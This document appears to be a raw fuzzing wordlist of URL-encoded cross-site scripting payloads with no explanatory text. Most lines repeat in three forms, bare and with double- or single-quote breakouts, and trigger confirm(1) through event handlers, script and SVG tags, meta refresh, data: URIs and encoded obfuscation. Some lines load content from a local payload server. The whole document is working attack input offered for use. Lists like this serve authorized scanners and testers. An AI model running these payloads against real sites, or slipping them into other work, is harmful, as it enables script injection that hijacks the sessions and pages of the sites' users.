'%3E%3Cscript%3Edocument.body.innerHTML=%22%3Ca%20onmouseover%0B=location='/x6A/x61/x76/x61/x53/x43/x52/x49/x50/x54/x26/x63/x6F/x6C/x6F/x6E/x3B/x61/x6C/x65/x72/x74/x26/x6C/x70/x61/x72/x3B/x31/x26/x72/x70/x61/x72/x3B'%3E%3Cinput%20name=attributes%3E%22;%3C/script%3E  
asfunction:getURL,javascript:confirm(1)//  
/%22))%7Dcatch(e)%7B%7Dif(!self.a)self.a=!confirm(1)//  
%22]%29;%7Dcatch%28e%29%7B%7Dif%28!self.a%29self.a=!confirm%281%29;//  
0%5C%22))%7Dcatch(e)%7Bif(!window.x)%7Bwindow.x=1;confirm(1)%7D%7D//  
%3Cbutton/onclick=confirm(1)%20%3EX%3C/button%3E  
%22%3E%3Cbutton/onclick=confirm(1)%20%3EX%3C/button%3E  
'%3E%3Cbutton/onclick=confirm(1)%20%3EX%3C/button%3E  
%3Ca%20onmouseover=(confirm(1))%3EX%3C/a%3E  
%22%3E%3Ca%20onmouseover=(confirm(1))%3EX%3C/a%3E  
'%3E%3Ca%20onmouseover=(confirm(1))%3EX%3C/a%3E  
%3Cp/onmouseover=javascript:confirm(1);%20%3EX%3C/p%3E  
%22%3E%3Cp/onmouseover=javascript:confirm(1);%20%3EX%3C/p%3E  
'%3E%3Cp/onmouseover=javascript:confirm(1);%20%3EX%3C/p%3E  
%3Carticle%20xmlns=%22%3E%3Cimg%20src=x%20onerror=confirm(1)%22%3E%3C/article%3E  
%22%3E%3Carticle%20xmlns=%22%3E%3Cimg%20src=x%20onerror=confirm(1)%22%3E%3C/article%3E  
'%3E%3Carticle%20xmlns=%22%3E%3Cimg%20src=x%20onerror=confirm(1)%22%3E%3C/article%3E  
%3Carticle%20xmlns=%22x:img%20src=x%20onerror=confirm(1)%20%22%3E  
%22%3E%3Carticle%20xmlns=%22x:img%20src=x%20onerror=confirm(1)%20%22%3E  
'%3E%3Carticle%20xmlns=%22x:img%20src=x%20onerror=confirm(1)%20%22%3E  
%3Cp%20style=%22font-family:'/22/3bx:expression(confirm(1))/*'%22%3E  
%22%3E%3Cp%20style=%22font-family:'/22/3bx:expression(confirm(1))/*'%22%3E  
'%3E%3Cp%20style=%22font-family:'/22/3bx:expression(confirm(1))/*'%22%3E  
%3Csvg%3E%3Cstyle%3E&ltimg%20src=x%20onerror=confirm(1)&gt%3C/svg%3E  
%22%3E%3Csvg%3E%3Cstyle%3E&ltimg%20src=x%20onerror=confirm(1)&gt%3C/svg%3E  
'%3E%3Csvg%3E%3Cstyle%3E&ltimg%20src=x%20onerror=confirm(1)&gt%3C/svg%3E  
%3Clisting%3E&ltimg%20src=x%20onerror=confirm(1)&gt%3C/listing%3E  
%22%3E%3Clisting%3E&ltimg%20src=x%20onerror=confirm(1)&gt%3C/listing%3E  
'%3E%3Clisting%3E&ltimg%20src=x%20onerror=confirm(1)&gt%3C/listing%3E  
%22onmouseover=confirm(1);a=%22  
'+confirm(1)&&null=='  
+confirm(1)&&null=='  
///'%3E%3Cscript%3E1%3C///script%3E  
///'%3E%3Cbody%20onload=///'1///'%3E  
/%22%3E%3Cscript%3E1%3C///script%3E  
%3E%3Cscript%3E1%3C///script%3E  
/%22%3E%3Cbody%20onload=/%221/%22%3E  
%3Cimg%20src=/%22x:X/%22%20onerror=/%22confirm(1)/%22%3E  
%22%3E%3Cimg%20src=/%22x:X/%22%20onerror=/%22confirm(1)/%22%3E  
'%3E%3Cimg%20src=/%22x:X/%22%20onerror=/%22confirm(1)/%22%3E  
%3Cimg%20src=a%20onerror=confirm(1)  
%22%3E%3Cimg%20src=a%20onerror=confirm(1)  
'%3E%3Cimg%20src=a%20onerror=confirm(1)  
%3Cscript%3Econfirm(/'1/')%3C/script%3E  
%22%3E%3Cscript%3Econfirm(/'1/')%3C/script%3E  
'%3E%3Cscript%3Econfirm(/'1/')%3C/script%3E  
%3Cscript%3Econfirm(/'////1/////')%3C/script%3E  
%22%3E%3Cscript%3Econfirm(/'////1/////')%3C/script%3E  
'%3E%3Cscript%3Econfirm(/'////1/////')%3C/script%3E  
%3Cscript%3Econfirm(/'/////1//////')%3C/script%3E  
%22%3E%3Cscript%3Econfirm(/'/////1//////')%3C/script%3E  
'%3E%3Cscript%3Econfirm(/'/////1//////')%3C/script%3E  
/'/'/%22%3E  
%3Cscript%3Econfirm(1);%3C/script%3E  
'%3E%3Cscript%3Econfirm(1);%3C/script%3E  
%3C%0ascript%3Econfirm(1);%3C/script%3E  
%22%3E%3C%0ascript%3Econfirm(1);%3C/script%3E  
'%3E%3C%0ascript%3Econfirm(1);%3C/script%3E  
%3C%0bscript%3Econfirm(1);%3C/script%3E  
%22%3E%3C%0bscript%3Econfirm(1);%3C/script%3E  
'%3E%3C%0bscript%3Econfirm(1);%3C/script%3E  
%3C!--[if]%3E%3Cscript%3Econfirm(1)%3C/script%20--%3E  
%22%3E%3C!--[if]%3E%3Cscript%3Econfirm(1)%3C/script%20--%3E  
'%3E%3C!--[if]%3E%3Cscript%3Econfirm(1)%3C/script%20--%3E  
%3CSCRIPT%3E%20confirm(/%221/%22);%3C/SCRIPT%3E  
%22%3E%3CSCRIPT%3E%20confirm(/%221/%22);%3C/SCRIPT%3E  
'%3E%3CSCRIPT%3E%20confirm(/%221/%22);%3C/SCRIPT%3E  
%3CSCRIPT%3E%20confirm(/%221/%22)%3C/SCRIPT%3E  
%22%3E%3CSCRIPT%3E%20confirm(/%221/%22)%3C/SCRIPT%3E  
'%3E%3CSCRIPT%3E%20confirm(/%221/%22)%3C/SCRIPT%3E  
%3Cscript%3Econfirm([!![]]%20[])%3C/script%3E  
%22%3E%3Cscript%3Econfirm([!![]]%20[])%3C/script%3E  
'%3E%3Cscript%3Econfirm([!![]]%20[])%3C/script%3E  
%3Cvar%20onmouseover=%22confirm(1)%22%3EX%3C/var%3E  
%22%3E%3Cvar%20onmouseover=%22confirm(1)%22%3EX%3C/var%3E  
'%3E%3Cvar%20onmouseover=%22confirm(1)%22%3EX%3C/var%3E  
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80confirm(1)%E3%B0%80/script%E3%B8%80%E2%80%8B  
%3Cinput%20type=%22text%22%20value=%60%60%3Cdiv/onmouseover='confirm(1)'%3EX%3C/div%3E  
%22%3E%3Cinput%20type=%22text%22%20value=%60%60%3Cdiv/onmouseover='confirm(1)'%3EX%3C/div%3E  
'%3E%3Cinput%20type=%22text%22%20value=%60%60%3Cdiv/onmouseover='confirm(1)'%3EX%3C/div%3E  
%3Ciframe%20%20src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29%3E%3C/iframe%3E%20%E2%80%8B  
%22%3E%3Ciframe%20%20src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29%3E%3C/iframe%3E%20%E2%80%8B  
'%3E%3Ciframe%20%20src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29%3E%3C/iframe%3E%20%E2%80%8B  
%3Ciframe%20%20src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29%3E%3C/iframe%3E  
%22%3E%3Ciframe%20%20src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29%3E%3C/iframe%3E  
'%3E%3Ciframe%20%20src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29%3E%3C/iframe%3E  
%3Cmeta%20http-equiv=%22refresh%22%20content=%220;javascript&colon;confirm(1)%22/%3E  
%22%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;javascript&colon;confirm(1)%22/%3E  
'%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;javascript&colon;confirm(1)%22/%3E%E2%80%8B  
'%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;javascript&colon;confirm(1)%22/%3E  
'%3E%3Cembed%20code=%22http://127.0.0.1:3555/xss_serve_payloads/flash.swf%22%20allowscriptaccess=always%3E%E2%80%8B  
%22%3E%3Cembed%20code=%22http://127.0.0.1:3555/xss_serve_payloads/flash.swf%22%20allowscriptaccess=always%3E%E2%80%8B  
%3Cscript%3E~'/u0061'%20;%20%20/u0074/u0068/u0072/u006F/u0077%20~%20/u0074/u0068/u0069/u0073.%20%20/u0061/u006C/u0065/u0072/u0074(~'/u0061')%3C/script%20U+  
%22%3E%3Cscript%3E~'/u0061'%20;%20%20/u0074/u0068/u0072/u006F/u0077%20~%20/u0074/u0068/u0069/u0073.%20%20/u0061/u006C/u0065/u0072/u0074(~'/u0061')%3C/script%20U+  
'%3E%3Cscript%3E~'/u0061'%20;%20%20/u0074/u0068/u0072/u006F/u0077%20~%20/u0074/u0068/u0069/u0073.%20%20/u0061/u006C/u0065/u0072/u0074(~'/u0061')%3C/script%20U+  
%3Cscript/src=data&colon;text/j/u0061v/u0061&  
%22%3E%3Cscript/src=data&colon;text/j/u0061v/u0061&  
'%3E%3Cscript/src=data&colon;text/j/u0061v/u0061&  
'%3E%3Cscript%20itworksinallbrowsers%3E/*%3Cscript*%20*/confirm(1)%3C/script%20%E2%80%8B  
%22%3E%3Cscript%20itworksinallbrowsers%3E/*%3Cscript*%20*/confirm(1)%3C/script%20%E2%80%8B  
'%3E%3Cimg%20src%20?itworksonchrome?\x5C/onerror%20=%20confirm(1)%E2%80%8B%E2%80%8B%E2%80%8B  
%22%3E%3Cimg%20src%20?itworksonchrome?\x5C/onerror%20=%20confirm(1)%E2%80%8B%E2%80%8B%E2%80%8B  
%3Cmeta%20http-equiv=%22refresh%22%20content=%220;%20url=data:text/html;blabla,&  
%22%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;%20url=data:text/html;blabla,&  
'%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;%20url=data:text/html;blabla,&  
%3Ca%20aa%20aaa%20aaaa%20aaaaa%20aaaaaa%20aaaaaaa%20aaaaaaaa%20%20aaaaaaaaa%20aaaaaaaaaa%20%20href=j&  
%22%3E%3Ca%20aa%20aaa%20aaaa%20aaaaa%20aaaaaa%20aaaaaaa%20aaaaaaaa%20%20aaaaaaaaa%20aaaaaaaaaa%20%20href=j&  
'%3E%3Ca%20aa%20aaa%20aaaa%20aaaaa%20aaaaaa%20aaaaaaa%20aaaaaaaa%20%20aaaaaaaaa%20aaaaaaaaaa%20%20href=j&  
%3Cscript/src=&  
%22%3E%3Cscript/src=&  
'%3E%3Cscript/src=&  
%3Cimg%20src=x%20onerror=window.open('http://127.0.0.1:3555/xss_serve_payloads/X.html%22');%3E  
%22%3E%3Cimg%20src=x%20onerror=window.open('http://127.0.0.1:3555/xss_serve_payloads/X.html%22');%3E  
'%3E%3Cimg%20src=x%20onerror=window.open('http://127.0.0.1:3555/xss_serve_payloads/X.html%22');%3E  
%3Ctable%20background=javascript:confirm(1)%3E%3C/table%3E  
%22%3E%3Ctable%20background=javascript:confirm(1)%3E%3C/table%3E  
'%3E%3Ctable%20background=javascript:confirm(1)%3E%3C/table%3E  
%3Cobject/data=//127.0.0.1:3555/xss_serve_payloads/flash.swf  
%22%3E%3Cobject/data=//127.0.0.1:3555/xss_serve_payloads/flash.swf  
'%3E%3Cobject/data=//127.0.0.1:3555/xss_serve_payloads/flash.swf  
%3Capplet%20code=%22javascript:confirm(1);%22%3E  
%22%3E%3Capplet%20code=%22javascript:confirm(1);%22%3E  
'%3E%3Capplet%20code=%22javascript:confirm(1);%22%3E  
%3Cmarquee/onstart=confirm(2)%3E/  
%22%3E%3Cmarquee/onstart=confirm(2)%3E/  
'%3E%3Cmarquee/onstart=confirm(2)%3E/  
%3Cbody%20onload=confirm(1);%3E  
%22%3E%3Cbody%20onload=confirm(1);%3E  
'%3E%3Cbody%20onload=confirm(1);%3E  
%3Cselect%20autofocus%20onfocus=confirm(1)%3E  
%22%3E%3Cselect%20autofocus%20onfocus=confirm(1)%3E  
'%3E%3Cselect%20autofocus%20onfocus=confirm(1)%3E  
%3Ctextarea%20autofocus%20onfocus=confirm(1)%3E  
%22%3E%3Ctextarea%20autofocus%20onfocus=confirm(1)%3E  
'%3E%3Ctextarea%20autofocus%20onfocus=confirm(1)%3E  
%3Ckeygen%20autofocus%20onfocus=confirm(1)%3E  
%22%3E%3Ckeygen%20autofocus%20onfocus=confirm(1)%3E  
'%3E%3Ckeygen%20autofocus%20onfocus=confirm(1)%3E  
%3Cvideo%3E%3Csource%20onerror=%22javascript:confirm(1)%22%3E  
%22%3E%3Cvideo%3E%3Csource%20onerror=%22javascript:confirm(1)%22%3E  
'%3E%3Cvideo%3E%3Csource%20onerror=%22javascript:confirm(1)%22%3E  
%3Ca%20onmouseover=%22javascript:window.onerror=confirm;throw%201%3E  
%22%3E%3Ca%20onmouseover=%22javascript:window.onerror=confirm;throw%201%3E  
'%3E%3Ca%20onmouseover=%22javascript:window.onerror=confirm;throw%201%3E  
%3Cimg%20src=x%20onerror=%22javascript:window.onerror=confirm;throw%201%22%3E  
%22%3E%3Cimg%20src=x%20onerror=%22javascript:window.onerror=confirm;throw%201%22%3E  
'%3E%3Cimg%20src=x%20onerror=%22javascript:window.onerror=confirm;throw%201%22%3E  
%3Cbody/onload=javascript:window.onerror=eval;throw'=confirm/x281/x29';  
%22%3E%3Cbody/onload=javascript:window.onerror=eval;throw'=confirm/x281/x29';  
'%3E%3Cbody/onload=javascript:window.onerror=eval;throw'=confirm/x281/x29';  
%3Cimg%20style=%22xss:expression(confirm(1))%22%3E  
%22%3E%3Cimg%20style=%22xss:expression(confirm(1))%22%3E  
'%3E%3Cimg%20style=%22xss:expression(confirm(1))%22%3E  
%3Cdiv%20style=%22color:rgb(''&  
%22%3E%3Cdiv%20style=%22color:rgb(''&  
'%3E%3Cdiv%20style=%22color:rgb(''&  
%3Ca%20onmouseover=location=%E2%80%99javascript:confirm(1)%3Eclick  
%22%3E%3Ca%20onmouseover=location=%E2%80%99javascript:confirm(1)%3Eclick  
'%3E%3Ca%20onmouseover=location=%E2%80%99javascript:confirm(1)%3Eclick  
%3Cbody%20onfocus=%22location='javascrpt:confirm(1)%20%3E123  
%22%3E%3Cbody%20onfocus=%22location='javascrpt:confirm(1)%20%3E123  
'%3E%3Cbody%20onfocus=%22location='javascrpt:confirm(1)%20%3E123  
%3Csvg%20xmlns:xlink=%22http://www.w3.org/1999/xlink%22%3E%3Ca%3E%3Ccircle%20r=100%20/%3E%3Canimate%20attributeName=%22xlink:href%22%20values=%22;javascript:confirm(1)%22%20begin=%220s%22%20dur=%220.1s%22%20fill=%22freeze%22/%3E  
%22%3E%3Csvg%20xmlns:xlink=%22http://www.w3.org/1999/xlink%22%3E%3Ca%3E%3Ccircle%20r=100%20/%3E%3Canimate%20attributeName=%22xlink:href%22%20values=%22;javascript:confirm(1)%22%20begin=%220s%22%20dur=%220.1s%22%20fill=%22freeze%22/%3E  
'%3E%3Csvg%20xmlns:xlink=%22http://www.w3.org/1999/xlink%22%3E%3Ca%3E%3Ccircle%20r=100%20/%3E%3Canimate%20attributeName=%22xlink:href%22%20values=%22;javascript:confirm(1)%22%20begin=%220s%22%20dur=%220.1s%22%20fill=%22freeze%22/%3E  
%3Csvg%3E%3C![CDATA[%3E%3Cimagexlink:href=%22]]%3E%3Cimg/src=xx:xonerror=confirm(1)//%22%3E%3C/svg%3E  
%22%3E%3Csvg%3E%3C![CDATA[%3E%3Cimagexlink:href=%22]]%3E%3Cimg/src=xx:xonerror=confirm(1)//%22%3E%3C/svg%3E  
'%3E%3Csvg%3E%3C![CDATA[%3E%3Cimagexlink:href=%22]]%3E%3Cimg/src=xx:xonerror=confirm(1)//%22%3E%3C/svg%3E  
%3Cmeta%20content=%22&NewLine;%201%20&NewLine;;JAVASCRIPT&colon;%20confirm(1)%22%20http-equiv=%22refresh%22/%3E  
%22%3E%3Cmeta%20content=%22&NewLine;%201%20&NewLine;;JAVASCRIPT&colon;%20confirm(1)%22%20http-equiv=%22refresh%22/%3E  
'%3E%3Cmeta%20content=%22&NewLine;%201%20&NewLine;;JAVASCRIPT&colon;%20confirm(1)%22%20http-equiv=%22refresh%22/%3E  
%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%3E%3Cg%20onload=%22javascript:/u0061lert(1);%22%3E%3C/g%3E%3C/svg%3E  
%22%3E%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%3E%3Cg%20onload=%22javascript:/u0061lert(1);%22%3E%3C/g%3E%3C/svg%3E  
'%3E%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%3E%3Cg%20onload=%22javascript:/u0061lert(1);%22%3E%3C/g%3E%3C/svg%3E  
%3Cstyle%3E  
%22%3E%3Cstyle%3E  
'%3E%3Cstyle%3E  
'%3E%3Cobject%20data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==%3E%3C/object%3E%E2%80%8B  
%22%3E%3Cobject%20data=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==%3E%3C/object%3E%E2%80%8B  
%3Cmeta%20http-equiv=%22refresh%22%20content=%220;%20url=data:text/html,%3Cscript%3Econfirm%281%29%3C%2Fscript%3E%22%3E  
%22%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;%20url=data:text/html,%3Cscript%3Econfirm%281%29%3C%2Fscript%3E%22%3E  
'%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;%20url=data:text/html,%3Cscript%3Econfirm%281%29%3C%2Fscript%3E%22%3E  
eval(%22s=document.createElement('script');confirm(1);document.getElementsByTagName('head')[0].appendChild(s)%22)  
%3Cmeta%20http-equiv=%22refresh%22%20content=%220;url=http://127.0.0.1:3555/xss_serve_payloads/X.html%22  
%22%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;url=http://127.0.0.1:3555/xss_serve_payloads/X.html%22  
'%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;url=http://127.0.0.1:3555/xss_serve_payloads/X.html%22  
'%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;url=http://127.0.0.1:3555/xss_serve_payloads/X.html%22%3E  
%22%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;url=http://127.0.0.1:3555/xss_serve_payloads/X.html%22%3E  
javascript:/*%E2%80%93%3E%3C/marquee%3E%3C/script%3E%3C/title%3E%3C/textarea%3E%3C/noscript%3E%3C/style%3E%3C/xmp%3E%E2%80%9D%3E%20[img=1]%3Cimg%20-/style=-=expression&  
%3Cimg%20src=%E2%80%9D%3Cimg%20src=x%E2%80%9D/onerror=confirm(1)//%E2%80%9D%3E%20Jquery:%20%3Cimg/src/onerror=confirm(1)%3E  
%22%3E%3Cimg%20src=%E2%80%9D%3Cimg%20src=x%E2%80%9D/onerror=confirm(1)//%E2%80%9D%3E%20Jquery:%20%3Cimg/src/onerror=confirm(1)%3E  
'%3E%3Cimg%20src=%E2%80%9D%3Cimg%20src=x%E2%80%9D/onerror=confirm(1)//%E2%80%9D%3E%20Jquery:%20%3Cimg/src/onerror=confirm(1)%3E  
%3Cinput%20id=x%3E%3Cinput%20id=x%3E%3Cscript%3Econfirm(x)%3C/script%3E  
%22%3E%3Cinput%20id=x%3E%3Cinput%20id=x%3E%3Cscript%3Econfirm(x)%3C/script%3E  
'%3E%3Cinput%20id=x%3E%3Cinput%20id=x%3E%3Cscript%3Econfirm(x)%3C/script%3E  
%3Ca%20href=%22invalid:1%22%20id=x%20name=y%3Etest%3C/a%3E%3Ca%20href=%22invalid:2%22%20id=x%20name=y%3Etest%3C/a%3E%3Cscript%3Econfirm(x.y[0])%3C/script%3E  
%22%3E%3Ca%20href=%22invalid:1%22%20id=x%20name=y%3Etest%3C/a%3E%3Ca%20href=%22invalid:2%22%20id=x%20name=y%3Etest%3C/a%3E%3Cscript%3Econfirm(x.y[0])%3C/script%3E  
'%3E%3Ca%20href=%22invalid:1%22%20id=x%20name=y%3Etest%3C/a%3E%3Ca%20href=%22invalid:2%22%20id=x%20name=y%3Etest%3C/a%3E%3Cscript%3Econfirm(x.y[0])%3C/script%3E  
%3Cscript%3Econfirm(x.y.x.y.x.y[0]);confirm(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);%3C/script%3E  
%22%3E%3Cscript%3Econfirm(x.y.x.y.x.y[0]);confirm(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);%3C/script%3E  
'%3E%3Cscript%3Econfirm(x.y.x.y.x.y[0]);confirm(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);%3C/script%3E  
%3Ca%20href=1%20name=x%3Etest%3C/a%3E%3Ca%20href=1%20name=x%3Etest%3C/a%3E%3Cscript%3Econfirm(x.removeChild)confirm(x.parentNode)%3C/script%3E  
%22%3E%3Ca%20href=1%20name=x%3Etest%3C/a%3E%3Ca%20href=1%20name=x%3Etest%3C/a%3E%3Cscript%3Econfirm(x.removeChild)confirm(x.parentNode)%3C/script%3E  
'%3E%3Ca%20href=1%20name=x%3Etest%3C/a%3E%3Ca%20href=1%20name=x%3Etest%3C/a%3E%3Cscript%3Econfirm(x.removeChild)confirm(x.parentNode)%3C/script%3E  
%3Ca%20href=%22123%22%20id=x%3Etest%3C/a%3E%3Cscript%3Ex='javascript:confirm(1)';%3C/script%3E  
%22%3E%3Ca%20href=%22123%22%20id=x%3Etest%3C/a%3E%3Cscript%3Ex='javascript:confirm(1)';%3C/script%3E  
'%3E%3Ca%20href=%22123%22%20id=x%3Etest%3C/a%3E%3Cscript%3Ex='javascript:confirm(1)';%3C/script%3E  
'%3E%3Cform%20name=self%20location=%22javascript:confirm(1)%22%3E%3C/form%3E%3Cscript%3Eif(top!=self)%7Btop.location=self.location%7D%3C/script%3E  
%22%3E%3Cform%20name=self%20location=%22javascript:confirm(1)%22%3E%3C/form%3E%3Cscript%3Eif(top!=self)%7Btop.location=self.location%7D%3C/script%3E  
%3Cform%20name=self%20location=%22javascript&amp;  
%22%3E%3Cform%20name=self%20location=%22javascript&amp;  
'%3E%3Cform%20name=self%20location=%22javascript&amp;  
%3Cimg%20name%3DgetElementsByTagName%20src%3D1%20%20onerror%3Dconfirm(1)%3E  
%3Cform%20onmouseover%3Dconfirm(1)%3E%3Cinput%20name%3Dattributes%3E  
%3Ca/onmouseover[/x0b]=location='/x6A/x61/x76/x61/x73/x63/x72/x69/x70/x74/x3A/x61/x6C/x65/x72/x74/x28/x31/x29/x3B'%3EX  
%22%3E%3Ca/onmouseover[/x0b]=location='/x6A/x61/x76/x61/x73/x63/x72/x69/x70/x74/x3A/x61/x6C/x65/x72/x74/x28/x31/x29/x3B'%3EX  
'%3E%3Ca/onmouseover[/x0b]=location='/x6A/x61/x76/x61/x73/x63/x72/x69/x70/x74/x3A/x61/x6C/x65/x72/x74/x28/x31/x29/x3B'%3EX  
data:text/html,%3Cscript%3Econfirm(1)%3C%2Fscript%3E  
window.name//'name=%22javascript:confirm(%22X%22)  
%3Csvg/onload=location=/java/.source+/script/.source+location.h%20ash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.has%20h[3]//  
%22%3E%3Csvg/onload=location=/java/.source+/script/.source+location.h%20ash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.has%20h[3]//  
'%3E%3Csvg/onload=location=/java/.source+/script/.source+location.h%20ash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.has%20h[3]//  
%22]);%7Dcatch(e)%7B%7Dif(!self.a)self.a=!confirm(1);/  
'%3E%3Cscript%3Econfirm(1)%3C/script%3E;  
%22%3E%3Cscript%3Econfirm(1)%3C/script%3E;  
%3Cscript%3Econfirm(%22/X%22/)%3C/script%3E  
%22%3E%3Cscript%3Econfirm(%22/X%22/)%3C/script%3E  
'%3E%3Cscript%3Econfirm(%22/X%22/)%3C/script%3E  
%3CSCRIPT%3Ea=/X/  
%22%3E%3CSCRIPT%3Ea=/X/  
'%3E%3CSCRIPT%3Ea=/X//nconfirm(1);%3C/SCRIPT%3E  
'%3E%3CSCRIPT%3Ea=/X/  
%3Cscript%3Econfirm([!![]]+[])%3C/script%3E  
%22%3E%3Cscript%3Econfirm([!![]]+[])%3C/script%3E  
'%3E%3Cscript%3Econfirm([!![]]+[])%3C/script%3E  
